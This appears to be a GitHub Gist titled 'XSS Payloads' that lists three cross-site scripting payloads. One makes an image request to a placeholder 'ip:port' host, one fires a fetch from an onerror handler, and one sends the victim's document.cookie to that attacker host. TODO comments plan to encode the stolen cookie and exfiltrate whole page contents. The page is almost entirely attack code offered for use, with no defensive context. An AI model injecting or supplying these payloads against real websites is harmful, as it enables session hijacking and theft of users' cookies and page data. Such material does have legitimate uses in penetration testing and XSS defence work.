Skip to content

Instantly share code, notes, and snippets.

@Reelix
Created April 10, 2024 09:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Reelix/851ecf7463d1a42698813c2f3443f5c8 to your computer and use it in GitHub Desktop.
Save Reelix/851ecf7463d1a42698813c2f3443f5c8 to your computer and use it in GitHub Desktop.
XSS Payloads
// Test For Image
<img src='http://ip:port/xss' />
// Test For Fetch
<img src=x onerror=fetch('http://ip:port/xss2' />
// Fetch Cookie Stealing
<img src=x onerror=fetch('http://ip:port/cookie?cookie='+document.cookie) /> // TODO: b64 encode cookie
// TODO: Fetch entire page contents
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment